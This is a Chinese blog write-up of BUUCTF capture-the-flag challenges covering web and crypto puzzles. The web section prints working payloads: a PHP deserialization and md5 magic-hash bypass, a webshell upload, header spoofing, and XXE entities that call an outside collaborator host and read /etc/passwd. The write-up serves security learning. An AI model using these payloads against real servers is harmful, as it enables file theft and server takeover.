Buuctf刷题Basic和Crypto 1day

Posted 吃饭饭睡觉觉

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Buuctf刷题Basic和Crypto 1day相关的知识,希望对你有一定的参考价值。

Basic:

BUU CODE REVIEW 1

<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__);

class BUU
public $correct = "";
public $input = "";

public function __destruct()
try
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input)
echo file_get_contents("/flag");

catch (Exception $e)




if($_GET[pleaseget] === 1)
if($_POST[pleasepost] === 2)
if(md5($_POST[md51]) == md5($_POST[md52]) && $_POST[md51] != $_POST[md52])
unserialize($_POST[obj]);


解题思路:首先通过代码审计,发现我们需要用get方法传递pleaseget变量值为1,用post方法传递pleasepost变量值为1,然后用post方法传递md51和md52的内容不同,但是md5值相同,这里就要利用php弱语言特性,0e123会被当做科学计数法,0 * 10 x 123。然后进行代码序列化。

Buuctf刷题Basic和Crypto

Buuctf刷题Basic和Crypto

​md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391,所以需要找到一个字符串md5后的结果是0e开头后面都是数字的,如,240610708,s878926199a。

http://3855212a-8b8c-48b3-b93b-ef524374d84c.node4.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:s:7:"correct";s:0:"";s:5:"input";R:2;

最后得到flag

Buuctf刷题Basic和Crypto

BUU UPLOAD COURSE 1

直接上传一句话木马,用蚁剑连接即可

Buuctf刷题Basic和Crypto

BUU BURP COURSE 1

看到“只能本地访问”这几个字首先想到X-Forwarded-For,发现此方法不通,所以试了一下X-Real-IP,发现可以

Buuctf刷题Basic和Crypto

Buuctf刷题Basic和Crypto

LFI Labs

猜测含有/flag文件

Buuctf刷题Basic和Crypto

1、漏洞探测

第一步检测XML是否会被成功解析:如果页面输出了test,说明xml文件可以被解析

<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<user><username>&xxe;</username><password>1234</password></user>

第二步检测服务器是否支持DTD引用外部实体:

<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://l7t5obuz7jkisvn4ejuqnd3t1k7dv2.oastify.com/?a" >]>
<user><username>&xxe;</username><password>1234</password></user>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

漏洞利用

读取敏感文件

<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>

找到flag

Buuctf刷题Basic和Crypto

AWD-Test1

上传一个图片发现框架用的thinkphp,利用其漏洞得到flag

Buuctf刷题Basic和Crypto

PikaChu

Buuctf刷题Basic和Crypto

Crypto:

password1

遇到这个题开始的时候无从下手,心想这是什么加密方式啊,但是看到有一个提醒key格式为keyXXXXXXXXXX,里面是一个十位数,而生日为19900315是八位数,名字正好为两位,所以猜测keyzs19900315,而提交格式为flag,所以修改为flagzs19900315

Buuctf刷题Basic和Crypto

变异凯撒1

先用相关密码工具解密一波发现并没有规律

Buuctf刷题Basic和Crypto

所以开始手工分析,看看是否有规律

加密密文:afZ_r9VYfScOeO_UL^RWUc
格式:flag

因为格式为flag,所以猜测前四个字符afz_解密后是flag
afz_的ascii为97、102、90、95
flag的ascii为102、108、97、103
可以看出上下两行分别相差5、6、7、8

Buuctf刷题Basic和Crypto

按照这个规律

我们可以写一个脚本:

str=afZ_r9VYfScOeO_UL^RWUc
k=5
for i in str:
print(chr(ord(i)+k),end=)
k=k+1
#ord() 将字符转换成ASCII码
#chr() 将ASCII码转换成字符

得到flag为flagCaesar_variation

Quoted-printable1

可以看到这是Quoted-printable 编码,解码连接为​​http://www.mxcz.net/tools/QuotedPrintable.aspx​​,得到flag那你也很棒哦

Rabbit1

直接用Rabbit解密

​http://www.jsons.cn/rabbitencrypt/​

flag​​Cute_Rabbit​​​

篱笆墙的影子1

观察题目:felhaagvewtehtehfilnakgw,而要求提交的是flag格式,所以按照题目要求,前五个字符已知falg,从第一个字符开始,每隔一个字符记录一次,其实就是符合栅栏密码特征,解密为flagwethinkwehavetheflag

RSA1

查看题目
学习RSAtool2的使用:

1.Number Base 设置为十进制

2.注意:Public Exponent这里要使用16进制的数,如果公钥e=17的话,就应该填入十六进制的11

3.给出p,q,e的话直接填入,再点击Calc.D,获得d

4.给出的是n和e的话,输入n和e,点击Factor N(分解),得到p,q,再重复第3步就能得到d了,最后得到flag125631357777427553

注意e填进去是16进制,需要将17转hex得到11再填进去

Buuctf刷题Basic和Crypto

丢失的MD5 1

看到代码很完整,而且最后是print des,符合python2的写法,所以用python2直接运行,得到flage9032994dabac08080091151380478a2

Buuctf刷题Basic和Crypto

Alice与Bob1

下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。

注意:得到的 flag 请包上 flag 提交

98554799767分解为了101999和966233,合成的新数字为101999966233,得到flagd450209323a847c8d01c6be47c81811a

Buuctf刷题Basic和Crypto

解密网址:​​http://www.msxindl.com/tools/md5.asp​

Buuctf刷题Basic和Crypto

rsarsa 1

from Crypto.Util.number import *
from gmpy2 import iroot ,invert

e = 65537p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407n = p*q
#密文C = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034phi=(p-1)*(q-1)
d =invert(e,phi)
#求明文M = pow(C,d,n) #快速求幂取模运算print(M)
#得到flag5577446633554466577768879988

大帝的密码武器1

首先将下载的文件添加.zip的后缀名,然后就可以查看题目了:

公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。

以下密文被解开后可以获得一个有意义的单词:FRPHEVGL

你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交。

对FRPHEVGL用rot13编码可以得到SECURITY,所以用rot13对ComeChina进行解码得到PbzrPuvan,最后提交flagPbzrPuvan(解码网址为:​​http://www.mxcz.net/tools/rot13.aspx​​)

Windows系统密码1

查看题目:

Buuctf刷题Basic和Crypto

对ctf进行解密:

Buuctf刷题Basic和Crypto

所以得到flaggood-luck


以上是关于Buuctf刷题Basic和Crypto 1day的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF MISC刷题笔记

BUUCTF-crypto部分题解

crypto buuctf 权限获得第一步

crypto buuctf windows系统密码

BUUCTF CRYPTO部分题目wp

buuctf 刷题记录 [第二章 web进阶]XSS闯关